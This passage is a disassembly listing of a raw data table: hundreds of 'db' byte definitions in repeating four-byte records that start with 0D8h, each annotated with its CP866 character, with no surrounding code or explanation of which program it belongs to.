		db 0D8h	; ь
		db  6Fh	; o
		db  8Dh	; █
		db 0C7h	; г
		db 0D8h	; ь
		db  6Fh	; o
		db 0B2h	; ╡
		db    2	;  
		db 0D8h	; ь
		db  6Fh	; o
		db 0B2h	; ╡
		db    3	;  
		db 0D8h	; ь
		db  6Fh	; o
		db 0B4h	; Є
		db    3	;  
		db 0D8h	; ь
		db  6Fh	; o
		db 0B8h	; ╦
		db    2	;  
		db 0D8h	; ь
		db  6Fh	; o
		db 0B8h	; ╦
		db    3	;  
		db 0D8h	; ь
		db  6Fh	; o
		db 0CAh	; й
		db  0Fh	;  
		db 0D8h	; ь
		db  6Fh	; o
		db  41h	; A
		db 0D9h	; ы
		db 0D8h	; ь
		db  72h	; r
		db 0C0h	; ю
		db  0Fh	;  
		db 0D8h	; ь
		db  73h	; s
		db  80h	; ─
		db  0Ah	;  
		db 0D8h	; ь
		db  73h	; s
		db  80h	; ─
		db  21h	; !
		db 0D8h	; ь
		db  73h	; s
		db  53h	; S
		db  0Ah	;  
		db 0D8h	; ь
		db  73h	; s
		db  53h	; S
		db  0Ch	;  
		db 0D8h	; ь
		db  74h	; t
		db  60h	; `
		db    2	;  
		db 0D8h	; ь
		db  74h	; t
		db  60h	; `
		db    3	;  
		db 0D8h	; ь
		db  0Ch	;  
		db    0	;  
		db  0Ah	;  
		db 0D8h	; ь
		db  0Ch	;  
		db    0	;  
		db  14h	;  
		db 0D8h	; ь
		db  0Ch	;  
		db  30h	; 0
		db  17h	;  
		db 0D8h	; ь
		db  79h	; y
		db 0E0h	; Ю
		db  42h	; B
		db 0D8h	; ь
		db  79h	; y
		db  20h	;  
		db  0Ah	;  
		db 0D8h	; ь
		db  79h	; y
		db  20h	;  
		db 0CDh	; м
		db 0D8h	; ь
		db  79h	; y
		db  60h	; `
		db  1Ah	;  
		db 0D8h	; ь
		db  7Eh	; ~
		db  80h	; ─
		db  29h	; )
		db 0D8h	; ь
		db  7Eh	; ~
		db  88h	; ┬
		db 0FBh	; Ш
		db 0D8h	; ь
		db  7Fh	; 
		db 0DAh	; з
		db  1Bh	;  
		db 0D8h	; ь
		db  7Fh	; 
		db 0DAh	; з
		db  1Eh	;  
		db 0D8h	; ь
		db  81h	; │
		db 0C1h	; а
		db  20h	;  
		db 0D8h	; ь
		db  81h	; │
		db 0C1h	; а
		db  21h	; !
		db 0D8h	; ь
		db  81h	; │
		db  1Eh	;  
		db    5	;  
		db 0D8h	; ь
		db  81h	; │
		db  1Eh	;  
		db    8	;  
		db 0D8h	; ь
		db  81h	; │
		db  30h	; 0
		db    2	;  
		db 0D8h	; ь
		db  81h	; │
		db  5Ah	; Z
		db  53h	; S
		db 0D8h	; ь
		db  0Dh	;  
		db    0	;  
		db  0Ah	;  
		db 0D8h	; ь
		db  0Dh	;  
		db  88h	; ┬
		db    2	;  
		db 0D8h	; ь
		db  0Dh	;  
		db  19h	;  
		db  64h	; d
		db 0D8h	; ь
		db  0Dh	;  
		db  20h	;  
		db    3	;  
		db 0D8h	; ь
		db  0Dh	;  
		db  20h	;  
		db    4	;  
		db 0D8h	; ь
		db  0Dh	;  
		db  34h	; 4
		db    2	;  
		db 0D8h	; ь
		db  0Dh	;  
		db  34h	; 4
		db    3	;  
		db 0D8h	; ь
		db  0Dh	;  
		db    6	;  
		db    5	;  
		db 0D8h	; ь
		db  0Dh	;  
		db    9	;  
		db    2	;  
		db 0D8h	; ь
		db  0Dh	;  
		db    9	;  
		db    3	;  
		db 0D8h	; ь
		db  83h	; ┐
		db    0	;  
		db  0Ch	;  
		db 0D8h	; ь
		db  83h	; ┐
		db    4	;  
		db  0Ch	;  
		db 0D8h	; ь
		db  83h	; ┐
		db  5Fh	; _
		db  14h	;  
		db 0D8h	; ь
		db  84h	; └
		db 0BAh	; ╨
		db 0CDh	; м
		db 0D8h	; ь
		db  85h	; ┘
		db 0F9h	; Ы
		db  0Ch	;  
		db 0D8h	; ь
		db  87h	; ┤
		db  9Eh	; ·
		db 0E2h	; Б
		db 0D8h	; ь
		db  87h	; ┤
		db  9Eh	; ·
		db 0E3h	; Ц
		db 0D8h	; ь
		db  88h	; ┬
		db 0C0h	; ю
		db  88h	; ┬
		db 0D8h	; ь
		db  88h	; ┬
		db  5Fh	; _
		db  13h	;  
		db 0D8h	; ь
		db  88h	; ┬
		db  5Fh	; _
		db    3	;  
		db 0D8h	; ь
		db  88h	; ┬
		db  5Fh	; _
		db  53h	; S
		db 0D8h	; ь
		db  8Bh	; ▀
		db 0CAh	; й
		db  95h	; ∙
		db 0D8h	; ь
		db  8Bh	; ▀
		db 0D5h	; у
		db 0A5h	; ╔
		db 0D8h	; ь
		db  8Bh	; ▀
		db 0DCh	; э
		db  2Ah	; *
		db 0D8h	; ь
		db  0Eh	;  
		db  0Ah	;  
		db  0Ah	;  
		db 0D8h	; ь
		db  0Eh	;  
		db  0Ah	;  
		db  0Ch	;  
		db 0D8h	; ь
		db  8Ch	; ▄
		db  8Ch	; ▄
		db  14h	;  
		db 0D8h	; ь
		db  8Ch	; ▄
		db  8Ch	; ▄
		db  15h	;  
		db 0D8h	; ь
		db  8Ch	; ▄
		db  8Dh	; █
		db  0Bh	;  
		db 0D8h	; ь
		db  8Ch	; ▄
		db  10h	;  
		db 0FCh	; Э
		db 0D8h	; ь
		db  8Ch	; ▄
		db  10h	;  
		db 0FEh	; Ч
		db 0D8h	; ь
		db  8Ch	; ▄
		db  11h	;  
		db 0FCh	; Э
		db 0D8h	; ь
		db  8Ch	; ▄
		db  11h	;  
		db 0FEh	; Ч
		db 0D8h	; ь
		db  8Dh	; █
		db  7Bh	; {
		db  1Ch	;  
		db 0D8h	; ь
		db  8Dh	; █
		db  98h	; ≤
		db  0Ah	;  
		db 0D8h	; ь
		db  8Dh	; █
		db 0BCh	; ╪
		db  42h	; B
		db 0D8h	; ь
		db  8Dh	; █
		db 0BEh	; Ў
		db    1	;  
		db 0D8h	; ь
		db  8Dh	; █
		db 0BEh	; Ў
		db  11h	;  
		db 0D8h	; ь
		db  8Dh	; █
		db  18h	;  
		db    2	;  
		db 0D8h	; ь
		db  8Dh	; █
		db  18h	;  
		db    3	;  
		db 0D8h	; ь
		db  8Dh	; █
		db  27h	; '
		db  26h	; &
		db 0D8h	; ь
		db  8Dh	; █
		db  27h	; '
		db  27h	; '
		db 0D8h	; ь
		db  8Dh	; █
		db    4	;  
		db  96h	; √
		db 0D8h	; ь
		db  8Dh	; █
		db    4	;  
		db 0A0h	; ═
		db 0D8h	; ь
		db  8Dh	; █
		db    5	;  
		db  0Ah	;  
		db 0D8h	; ь
		db  8Dh	; █
		db    5	;  
		db    7	;  
		db 0D8h	; ь
		db  8Dh	; █
		db  41h	; A
		db  6Fh	; o
		db 0D8h	; ь
		db  8Dh	; █
		db    7	;  
		db    2	;  
		db 0D8h	; ь
		db  8Dh	; █
		db    7	;  
		db 0FEh	; Ч
		db 0D8h	; ь
		db  8Dh	; █
		db    8	;  
		db    1	;  
		db 0D8h	; ь
		db  8Dh	; █
		db    8	;  
		db    2	;  
		db 0D8h	; ь
		db  8Fh	; ▐
		db  50h	; P
		db    3	;  
		db 0D8h	; ь
		db  91h	; ▒
		db 0B8h	; ╦
		db  41h	; A
		db 0D8h	; ь
		db  91h	; ▒
		db 0B8h	; ╦
		db  42h	; B
		db 0D8h	; ь
		db  91h	; ▒
		db  41h	; A
		db    2	;  
		db 0D8h	; ь
		db  91h	; ▒
		db  41h	; A
		db    3	;  
		db 0D8h	; ь
		db  92h	; ▓
		db  46h	; F
		db    3	;  
		db 0D8h	; ь
		db  92h	; ▓
		db  46h	; F
		db    4	;  
		db 0D8h	; ь
		db  94h	; ■
		db 0E2h	; Б
		db  1Dh	;  
		db 0D8h	; ь
		db  97h	; ≈
		db  12h	;  
		db  4Eh	; N
		db 0D8h	; ь
		db  97h	; ≈
		db 0C0h	; ю
		db    1	;  
		db 0D8h	; ь
		db  98h	; ≤
		db  1Ah	;  
		db 0A8h	; ╗
		db 0D8h	; ь
		db  98h	; ≤
		db  22h	; "
		db  9Dh	; ²
		db 0D8h	; ь
		db  9Ch	; °
		db    2	;  
		db    2	;  
		db 0D8h	; ь
		db  9Ch	; °
		db    2	;  
		db    3	;  
		db 0D8h	; ь
		db  9Fh	; ÷
		db  4Ch	; L
		db 0D1h	; я
		db 0D8h	; ь
		db 0A0h	; ═
		db    6	;  
		db  22h	; "
		db 0D8h	; ь
		db 0A0h	; ═
		db    7	;  
		db  22h	; "
		db 0D8h	; ь
		db 0A1h	; ║
		db  7Ch	; |
		db    1	;  
		db 0D8h	; ь
		db 0A1h	; ║
		db  7Ch	; |
		db    2	;  
		db 0D8h	; ь
		db 0A1h	; ║
		db  7Ch	; |
		db    3	;  
		db 0D8h	; ь
		db 0A1h	; ║
		db  8Dh	; █
		db    1	;  
		db 0D8h	; ь
		db 0A1h	; ║
		db  20h	;  
		db    2	;  
		db 0D8h	; ь
		db 0A1h	; ║
		db  22h	; "
		db    2	;  
		db 0D8h	; ь
		db 0A1h	; ║
		db  22h	; "
		db    4	;  
		db 0D8h	; ь
		db 0A1h	; ║
		db  24h	; $
		db    2	;  
		db 0D8h	; ь
		db 0A1h	; ║
		db  38h	; 8
		db  3Ch	; <
		db 0D8h	; ь
		db 0A1h	; ║
		db  4Bh	; K
		db    1	;  
		db 0D8h	; ь
		db 0A1h	; ║
		db  4Bh	; K
		db    2	;  
		db 0D8h	; ь
		db 0A3h	; ё
		db  78h	; x
		db  13h	;  
		db 0D8h	; ь
		db 0A3h	; ё
		db  78h	; x
		db  15h	;  
		db 0D8h	; ь
		db 0A8h	; ╗
		db 0E0h	; Ю
		db 0CEh	; н
		db 0D8h	; ь
		db 0A8h	; ╗
		db 0E0h	; Ю
		db 0CFh	; о
		db 0D8h	; ь
		db 0A8h	; ╗
		db  2Eh	; .
		db  0Ah	;  
		db 0D8h	; ь
		db 0A8h	; ╗
		db  40h	; @
		db    2	;  
		db 0D8h	; ь
		db  11h	;  
		db  8Bh	; ▀
		db 0CEh	; н
		db 0D8h	; ь
		db 0AAh	; ╙
		db 0E4h	; Д
		db    2	;  
		db 0D8h	; ь
		db 0ABh	; ╚
		db 0A7h	; ї
		db  0Bh	;  
		db 0D8h	; ь
		db 0ABh	; ╚
		db 0A7h	; ї
		db  0Ch	;  
		db 0D8h	; ь
		db 0ABh	; ╚
		db 0C0h	; ю
		db  53h	; S
		db 0D8h	; ь
		db 0ABh	; ╚
		db 0C1h	; а
		db  54h	; T
		db 0D8h	; ь
		db 0ACh	; ╛
		db 0C8h	; х
		db    2	;  
		db 0D8h	; ь
		db 0AFh	; ╞
		db  11h	;  
		db  0Ah	;  
		db 0D8h	; ь
		db 0B2h	; ╡
		db  5Ch	; \
		db  72h	; r
		db 0D8h	; ь
		db 0B2h	; ╡
		db  5Ch	; \
		db  62h	; b
		db 0D8h	; ь
		db 0B3h	; Ё
		db 0EFh	; О
		db  50h	; P
		db 0D8h	; ь
		db 0B4h	; Є
		db  7Ah	; z
		db    6	;  
		db 0D8h	; ь
		db 0B4h	; Є
		db 0C0h	; ю
		db  0Ah	;  
		db 0D8h	; ь
		db 0B4h	; Є
		db  63h	; c
		db    6	;  
		db 0D8h	; ь
		db 0B5h	; ╣
		db    1	;  
		db    2	;  
		db 0D8h	; ь
		db 0B5h	; ╣
		db    2	;  
		db    2	;  
		db 0D8h	; ь
		db 0B5h	; ╣
		db  27h	; '
		db  1Ah	;  
		db 0D8h	; ь
		db 0B5h	; ╣
		db  51h	; Q
		db    2	;  
		db 0D8h	; ь
		db 0B6h	; І
		db    1	;  
		db 0E6h	; Ф
		db 0D8h	; ь
		db 0B6h	; І
		db    1	;  
		db 0E7h	; Г
		db 0D8h	; ь
		db 0B7h	; Ї
		db  77h	; w
		db 0C2h	; б
		db 0D8h	; ь
		db 0B7h	; Ї
		db  77h	; w
		db 0C3h	; ц
		db 0D8h	; ь
		db 0B8h	; ╦
		db  5Fh	; _
		db    2	;  
		db 0D8h	; ь
		db 0B8h	; ╦
		db  5Fh	; _
		db    3	;  
		db 0D8h	; ь
		db 0BAh	; ╨
		db    4	;  
		db 0B6h	; І
		db 0D8h	; ь
		db 0BAh	; ╨
		db    4	;  
		db 0CAh	; й
		db 0D8h	; ь
		db 0BBh	; ╩
		db  6Eh	; n
		db    5	;  
		db 0D8h	; ь
		db 0BBh	; ╩
		db  6Fh	; o
		db    5	;  
		db 0D8h	; ь
		db 0BEh	; Ў
		db  8Ch	; ▄
		db    2	;  
		db 0D8h	; ь
		db 0BFh	; ©
		db  93h	; ⌠
		db  0Bh	;  
		db 0D8h	; ь
		db 0BFh	; ©
		db 0A5h	; ╔
		db    2	;  
		db 0D8h	; ь
		db 0BFh	; ©
		db 0A5h	; ╔
		db    3	;  
		db 0D8h	; ь
		db 0BFh	; ©
		db 0ABh	; ╚
		db    1	;  
		db 0D8h	; ь
		db 0BFh	; ©
		db 0ABh	; ╚
		db    2	;  
		db 0D8h	; ь
		db 0BFh	; ©
		db 0B7h	; Ї
		db    5	;  
		db 0D8h	; ь
		db 0BFh	; ©
		db 0F0h	; П
		db    2	;  
		db 0D8h	; ь
		db 0BFh	; ©
		db  36h	; 6
		db  65h	; e
		db 0D8h	; ь
		db 0C2h	; б
		db 0C0h	; ю
		db    8	;  
		db 0D8h	; ь
		db    2	;  
		db 0A0h	; ═
		db    5	;  
		db 0D8h	; ь
		db  14h	;  
		db  1Ch	;  
		db  11h	;  
		db 0D8h	; ь
		db  14h	;  
		db  3Fh	; ?
		db  91h	; ▒
		db 0D8h	; ь
		db  14h	;  
		db  3Fh	; ?
		db  93h	; ⌠
		db 0D8h	; ь
		db  14h	;  
		db  62h	; b
		db    5	;  
		db 0D8h	; ь
		db 0C8h	; х
		db  91h	; ▒
		db  40h	; @
		db 0D8h	; ь
		db 0C8h	; х
		db 0CEh	; н
		db  8Ch	; ▄
		db 0D8h	; ь
		db 0C8h	; х
		db  44h	; D
		db    6	;  
		db 0D8h	; ь
		db 0C9h	; и
		db  60h	; `
		db  21h	; !
		db 0D8h	; ь
		db 0C9h	; и
		db  60h	; `
		db  22h	; "
		db 0D8h	; ь
		db 0CAh	; й
		db 0C1h	; а
		db  0Eh	;  
		db 0D8h	; ь
		db 0CCh	; л
		db    0	;  
		db  21h	; !
		db 0D8h	; ь
		db 0CCh	; л
		db    0	;  
		db  23h	; #
		db 0D8h	; ь
		db 0CDh	; м
		db  89h	; ┴
		db    2	;  
		db 0D8h	; ь
		db 0CDh	; м
		db  89h	; ┴
		db    3	;  
		db 0D8h	; ь
		db 0CFh	; о
		db  54h	; T
		db  19h	;  
		db 0D8h	; ь
		db 0CFh	; о
		db  5Ah	; Z
		db 0FEh	; Ч
		db 0D8h	; ь
		db 0D0h	; п
		db 0B1h	; ╠
		db 0A2h	; ╒
		db 0D8h	; ь
		db 0D0h	; п
		db  26h	; &
		db  82h	; ┌
		db 0D8h	; ь
		db 0D0h	; п
		db  60h	; `
		db  42h	; B
		db 0D8h	; ь
		db  15h	;  
		db  80h	; ─
		db    1	;  
		db 0D8h	; ь
		db  15h	;  
		db  81h	; │
		db    1	;  
		db 0D8h	; ь
		db  15h	;  
		db    6	;  
		db  12h	;  
		db 0D8h	; ь
		db  15h	;  
		db  40h	; @
		db  0Fh	;  
		db 0D8h	; ь
		db  15h	;  
		db  40h	; @
		db  10h	;  
		db 0D8h	; ь
		db  15h	;  
		db  40h	; @
		db  11h	;  
		db 0D8h	; ь
		db 0D3h	; с
		db 0A0h	; ═
		db    5	;  
		db 0D8h	; ь
		db 0D3h	; с
		db 0C0h	; ю
		db    2	;  
		db 0D8h	; ь
		db 0D3h	; с
		db 0C0h	; ю
		db    6	;  
		db 0D8h	; ь
		db 0D5h	; у
		db    0	;  
		db  6Bh	; k
		db 0D8h	; ь
		db 0D5h	; у
		db    0	;  
		db  6Ch	; l
		db 0D8h	; ь
		db 0D5h	; у
		db  24h	; $
		db  83h	; ┐
		db 0D8h	; ь
		db 0D9h	; ы
		db  81h	; │
		db  33h	; 3
		db 0D8h	; ь
		db 0D9h	; ы
		db  81h	; │
		db  34h	; 4
		db 0D8h	; ь
		db 0DAh	; з
		db  82h	; ┌
		db    2	;  
		db 0D8h	; ь
		db 0DAh	; з
		db  82h	; ┌
		db  3Ah	; :
		db 0D8h	; ь
		db 0DAh	; з
		db  83h	; ┐
		db    2	;  
		db 0D8h	; ь
		db 0DBh	; ш
		db 0FDh	; Щ
		db 0D3h	; с
		db 0D8h	; ь
		db 0DBh	; ш
		db 0FEh	; Ч
		db  0Ah	;  
		db 0D8h	; ь
		db 0DDh	; щ
		db 0A2h	; ╒
		db  6Fh	; o
		db 0D8h	; ь
		db 0DDh	; щ
		db 0A2h	; ╒
		db  51h	; Q
		db 0D8h	; ь
		db 0DDh	; щ
		db 0CDh	; м
		db  96h	; √
		db 0D8h	; ь
		db 0DDh	; щ
		db 0D2h	; р
		db    5	;  
		db 0D8h	; ь
		db 0DDh	; щ
		db 0F0h	; П
		db  83h	; ┐
		db 0D8h	; ь
		db 0DDh	; щ
		db 0F0h	; П
		db  85h	; ┘
		db 0D8h	; ь
		db 0DDh	; щ
		db  60h	; `
		db    2	;  
		db 0D8h	; ь
		db 0DDh	; щ
		db  60h	; `
		db 0DCh	; э
		db 0D8h	; ь
		db 0E2h	; Б
		db  40h	; @
		db  15h	;  
		db 0D8h	; ь
		db 0E3h	; Ц
		db    0	;  
		db  64h	; d
		db 0D8h	; ь
		db 0E3h	; Ц
		db  70h	; p
		db  32h	; 2
		db 0D8h	; ь
		db 0E3h	; Ц
		db  38h	; 8
		db  14h	;  
		db 0D8h	; ь
		db 0E4h	; Д
		db 0A0h	; ═
		db    6	;  
		db 0D8h	; ь
		db 0E4h	; Д
		db 0A0h	; ═
		db    7	;  
		db 0D8h	; ь
		db 0E7h	; Г
		db    0	;  
		db  93h	; ⌠
		db 0D8h	; ь
		db 0E7h	; Г
		db  6Fh	; o
		db  0Eh	;  
		db 0D8h	; ь
		db 0E7h	; Г
		db  80h	; ─
		db    2	;  
		db 0D8h	; ь
		db 0E7h	; Г
		db  80h	; ─
		db    4	;  
		db 0D8h	; ь
		db 0E7h	; Г
		db 0A0h	; ═
		db  0Ah	;  
		db 0D8h	; ь
		db 0E7h	; Г
		db 0A0h	; ═
		db    2	;  
		db 0D8h	; ь
		db 0E7h	; Г
		db  29h	; )
		db  13h	;  
		db 0D8h	; ь
		db 0E7h	; Г
		db  29h	; )
		db  16h	;  
		db 0D8h	; ь
		db 0EAh	; Й
		db 0E7h	; Г
		db    4	;  
		db 0D8h	; ь
		db 0EAh	; Й
		db 0EAh	; Й
		db  1Fh	;  
		db 0D8h	; ь
		db 0ECh	; Л
		db 0E3h	; Ц
		db 0C9h	; и
		db 0D8h	; ь
		db 0EEh	; Н
		db    0	;  
		db  0Ah	;  
		db 0D8h	; ь
		db 0EEh	; Н
		db    0	;  
		db  0Bh	;  
		db 0D8h	; ь
		db 0EEh	; Н
		db    0	;  
		db  11h	;  
		db 0D8h	; ь
		db 0EEh	; Н
		db  62h	; b
		db  34h	; 4
		db 0D8h	; ь
		db 0EEh	; Н
		db  62h	; b
		db  35h	; 5
		db 0D8h	; ь
		db 0EFh	; О
		db  40h	; @
		db  9Ah	;  
		db 0D8h	; ь
		db 0EFh	; О
		db  40h	; @
		db  9Bh	; ⌡
		db 0D8h	; ь
		db 0F0h	; П
		db  6Ah	; j
		db    2	;  
		db 0D8h	; ь
		db 0F0h	; П
		db  6Ah	; j
		db    4	;  
		db 0D8h	; ь
		db 0F0h	; П
		db  80h	; ─
		db    4	;  
		db 0D8h	; ь
		db 0F0h	; П
		db  2Ah	; *
		db  21h	; !
		db 0D8h	; ь
		db 0F0h	; П
		db    6	;  
		db  62h	; b
		db 0D8h	; ь
		db 0F1h	; Я
		db    0	;  
		db  85h	; ┘
		db 0D8h	; ь
		db 0F1h	; Я
		db    0	;  
		db  97h	; ≈
		db 0D8h	; ь
		db 0F1h	; Я
		db  84h	; └
		db    2	;  
		db 0D8h	; ь
		db 0F1h	; Я
		db  84h	; └
		db    3	;  
		db 0D8h	; ь
		db 0F1h	; Я
		db 0A1h	; ║
		db    4	;  
		db 0D8h	; ь
		db 0F1h	; Я
		db 0A1h	; ║
		db    5	;  
		db 0D8h	; ь
		db 0F1h	; Я
		db  40h	; @
		db  0Ah	;  
		db 0D8h	; ь
		db 0F1h	; Я
		db  40h	; @
		db  0Bh	;  
		db 0D8h	; ь
		db 0F2h	; Р
		db    0	;  
		db    2	;  
		db 0D8h	; ь
		db 0F2h	; Р
		db    0	;  
		db    3	;  
		db 0D8h	; ь
		db 0F9h	; Ы
		db 0C0h	; ю
		db  64h	; d
		db 0D8h	; ь
		db 0FBh	; Ш
		db  64h	; d
		db    1	;  
		db 0D8h	; ь
		db 0FBh	; Ш
		db  64h	; d
		db    2	;  
		db 0D8h	; ь
		db 0FBh	; Ш
		db  80h	; ─
		db    1	;  
		db 0D8h	; ь
		db 0FBh	; Ш
		db  80h	; ─
		db    2	;  
		db 0D8h	; ь
		db 0FBh	; Ш
		db 0E1h	; А
		db 0C8h	; х
		db 0D8h	; ь
		db 0FBh	; Ш
		db 0E1h	; А
		db 0C9h	; и
		db 0D8h	; ь
		db 0FBh	; Ш
		db  20h	;  
		db  64h	; d
		db 0D8h	; ь
		db 0FBh	; Ш
		db  20h	;  
		db  65h	; e
		db 0D8h	; ь
		db 0FBh	; Ш
		db  40h	; @
		db  0Bh	;  
		db 0D8h	; ь
		db 0FBh	; Ш
		db  40h	; @
		db  0Ch	;  
		db 0D8h	; ь
		db 0FEh	; Ч
		db    0	;  
		db    9	;  
		db 0D8h	; ь
		db 0FEh	; Ч
		db 0B5h	; ╣
		db 0A5h	; ╔
		db 0D8h	; ь
		db  1Ah	;  
		db  6Ch	; l
		db  44h	; D
		db 0D8h	; ь
		db  1Ah	;  
		db  6Ch	; l
		db  45h	; E
		db 0D8h	; ь
		db  1Ah	;  
		db  80h	; ─
		db    1	;  
		db 0D8h	; ь
		db  1Ah	;  
		db  81h	; │
		db    1	;  
		db 0D8h	; ь
		db  20h	;  
		db  78h	; x
		db  15h	;  
		db 0D8h	; ь
		db  20h	;  
		db  7Eh	; ~
		db  96h	; √
		db 0D8h	; ь
		db  20h	;  
		db  4Ah	; J
		db  0Ah	;  
		db 0D8h	; ь
		db  21h	; !
		db  6Ch	; l
		db  46h	; F
		db 0D8h	; ь
		db  21h	; !
		db  57h	; W
		db  68h	; h
		db 0D8h	; ь
		db  21h	; !
		db  57h	; W
		db  69h	; i
		db 0D8h	; ь
		db  25h	; %
		db  40h	; @
		db    6	;  
		db 0D8h	; ь
		db  25h	; %
		db  40h	; @
		db    7	;  
		db 0D8h	; ь
		db  26h	; &
		db  60h	; `
		db    2	;  
		db 0D8h	; ь
		db  26h	; &
		db  60h	; `
		db    3	;  
		db 0D8h	; ь
		db  27h	; '
		db 0C2h	; б
		db    8	;  
		db 0D8h	; ь
		db  27h	; '
		db 0C2h	; б
		db    9	;  
		db 0D8h	; ь
		db  29h	; )
		db  65h	; e
		db  0Fh	;  
		db 0D8h	; ь
		db  29h	; )
		db  65h	; e
		db  11h	;  
		db 0D8h	; ь
		db  29h	; )
		db  80h	; ─
		db 0C8h	; х
		db 0D8h	; ь
		db  29h	; )
		db  80h	; ─
		db  49h	; I
		db 0D8h	; ь
		db  29h	; )
		db 0A0h	; ═
		db    1	;  
		db 0D8h	; ь
		db  29h	; )
		db 0A0h	; ═
		db    2	;  
		db 0D8h	; ь
		db  29h	; )
		db 0C0h	; ю
		db  0Dh	;  
		db 0D8h	; ь
		db  29h	; )
		db 0C0h	; ю
		db  0Eh	;  
		db 0D8h	; ь
		db  29h	; )
		db 0E0h	; Ю
		db    2	;  
		db 0D8h	; ь
		db  2Ch	; ,
		db  14h	;  
		db  10h	;  
		db 0D8h	; ь
		db  2Eh	; .
		db  60h	; `
		db  64h	; d
		db 0D8h	; ь
		db  2Eh	; .
		db  60h	; `
		db  65h	; e
		db 0D8h	; ь
		db  2Fh	; /
		db  80h	; ─
		db  0Bh	;  
		db 0D8h	; ь
		db    5	;  
		db 0D6h	; ж
		db 0AFh	; ╞
		db 0D8h	; ь
		db    5	;  
		db 0D6h	; ж
		db    3	;  
		db 0D8h	; ь
		db  34h	; 4
		db    1	;  
		db    1	;  
		db 0D8h	; ь
		db  34h	; 4
		db    1	;  
		db  21h	; !
		db 0D8h	; ь
		db  34h	; 4
		db  13h	;  
		db  22h	; "
		db 0D8h	; ь
		db  37h	; 7
		db  40h	; @
		db    2	;  
		db 0D8h	; ь
		db  37h	; 7
		db  50h	; P
		db    2	;  
		db 0D8h	; ь
		db  39h	; 9
		db  80h	; ─
		db    2	;  
		db 0D8h	; ь
		db  39h	; 9
		db  82h	; ┌
		db    1	;  
		db 0D8h	; ь
		db  3Ah	; :
		db  98h	; ≤
		db    4	;  
		db 0D8h	; ь
		db  3Ah	; :
		db  98h	; ≤
		db    6	;  
		db 0D8h	; ь
		db  3Ch	; <
		db 0A6h	; і
		db 0C4h	; д
		db 0D8h	; ь
		db  3Ch	; <
		db 0C5h	; е
		db    1	;  
		db 0D8h	; ь
		db  3Ch	; <
		db 0C5h	; е
		db 0C8h	; х
		db 0D8h	; ь
		db  3Dh	; =
		db  82h	; ┌
		db    2	;  
		db 0D8h	; ь
		db  3Dh	; =
		db  8Eh	; ▌
		db    4	;  
		db 0D8h	; ь
		db  3Dh	; =
		db  8Eh	; ▌
		db    5	;  
		db 0D8h	; ь
		db  3Dh	; =
		db  8Fh	; ▐
		db 0FCh	; Э
		db 0D8h	; ь
		db  3Dh	; =
		db  8Fh	; ▐
		db 0FDh	; Щ
		db 0D8h	; ь
		db  3Dh	; =
		db  90h	; ░
		db    1	;  
		db 0D8h	; ь
		db  3Dh	; =
		db 0A4h	; є
		db    1	;  
		db 0D8h	; ь
		db  3Dh	; =
		db 0B8h	; ╦
		db    2	;  
		db 0D8h	; ь
		db  3Dh	; =
		db 0C0h	; ю
		db  64h	; d
		db 0D8h	; ь
		db  3Dh	; =
		db 0DAh	; з
		db    2	;  
		db 0D8h	; ь
		db  3Dh	; =
		db 0DAh	; з
		db    3	;  
		db 0D8h	; ь
		db  3Dh	; =
		db 0DBh	; ш
		db    5	;  
		db 0D8h	; ь
		db  3Dh	; =
		db  17h	;  
		db    5	;  
		db 0D8h	; ь
		db  3Dh	; =
		db  2Ch	; ,
		db    2	;  
		db 0D8h	; ь
		db  41h	; A
		db  34h	; 4
		db  0Ah	;  
		db 0D8h	; ь
		db  41h	; A
		db  34h	; 4
		db    3	;  
		db 0D8h	; ь
		db  44h	; D
		db    1	;  
		db  64h	; d
		db 0D8h	; ь
		db  44h	; D
		db    2	;  
		db  64h	; d
		db 0D8h	; ь
		db  44h	; D
		db  3Fh	; ?
		db  14h	;  
		db 0D8h	; ь
		db    7	;  
		db 0A0h	; ═
		db  4Bh	; K
		db 0D8h	; ь
		db  4Dh	; M
		db  55h	; U
		db  11h	;  
		db 0D8h	; ь
		db  4Dh	; M
		db  55h	; U
		db  16h	;  
		db 0D8h	; ь
		db  4Fh	; O
		db  7Fh	; 
		db    6	;  
		db 0D8h	; ь
		db  4Fh	; O
		db  90h	; ░
		db    2	;  
		db 0D8h	; ь
		db  4Fh	; O
		db  99h	; ≥
		db 0FEh	; Ч
		db 0D8h	; ь
		db  4Fh	; O
		db  46h	; F
		db    2	;  
		db 0D8h	; ь
		db  51h	; Q
		db  80h	; ─
		db 0C8h	; х
		db 0D8h	; ь
		db  51h	; Q
		db  80h	; ─
		db 0C9h	; и
		db 0D8h	; ь
		db  51h	; Q
		db  60h	; `
		db  43h	; C
		db 0D8h	; ь
		db  51h	; Q
		db  60h	; `
		db  44h	; D
		db 0D8h	; ь
		db  52h	; R
		db    0	;  
		db  0Dh	;  
		db 0D8h	; ь
		db  52h	; R
		db    0	;  
		db  0Fh	;  
		db 0D8h	; ь
		db  52h	; R
		db    0	;  
		db    8	;  
		db 0D8h	; ь
		db  53h	; S
		db 0A0h	; ═
		db 0FAh	; З
		db 0D8h	; ь
		db  53h	; S
		db 0A1h	; ║
		db 0FAh	; З
		db 0D8h	; ь
		db  55h	; U
		db 0D5h	; у
		db    3	;  
		db 0D8h	; ь
		db  56h	; V
		db 0A0h	; ═
		db  3Dh	; =
		db 0D8h	; ь
		db  56h	; V
		db 0A0h	; ═
		db  3Eh	; >
		db 0D8h	; ь
		db  56h	; V
		db 0E5h	; Е
		db    5	;  
		db 0D8h	; ь
		db  56h	; V
		db  40h	; @
		db  21h	; !
		db 0D8h	; ь
		db  56h	; V
		db  40h	; @
		db  22h	; "
		db 0D8h	; ь
		db  57h	; W
		db    0	;  
		db 0C5h	; е
		db 0D8h	; ь
		db  57h	; W
		db  40h	; @
		db  0Ch	;  
		db 0D8h	; ь
		db  59h	; Y
		db  70h	; p
		db    2	;  
		db 0D8h	; ь
		db  59h	; Y
		db 0DFh	; ъ
		db    4	;  
		db 0D8h	; ь
		db  59h	; Y
		db 0E2h	; Б
		db    2	;  
		db 0D8h	; ь
		db  59h	; Y
		db 0E2h	; Б
		db    3	;  
		db 0D8h	; ь
		db  5Ah	; Z
		db  30h	; 0
		db    1	;  
		db 0D8h	; ь
		db  5Ah	; Z
		db  30h	; 0
		db    2	;  
		db 0D8h	; ь
		db  5Bh	; [
		db  7Fh	; 
		db    2	;  
		db 0D8h	; ь
		db  5Bh	; [
		db  7Fh	; 
		db    3	;  
		db 0D8h	; ь
		db  5Bh	; [
		db  91h	; ▒
		db    5	;  
		db 0D8h	; ь
		db  5Bh	; [
		db  9Ch	; °
		db  0Eh	;  
		db 0D8h	; ь
		db  5Bh	; [
		db  10h	;  
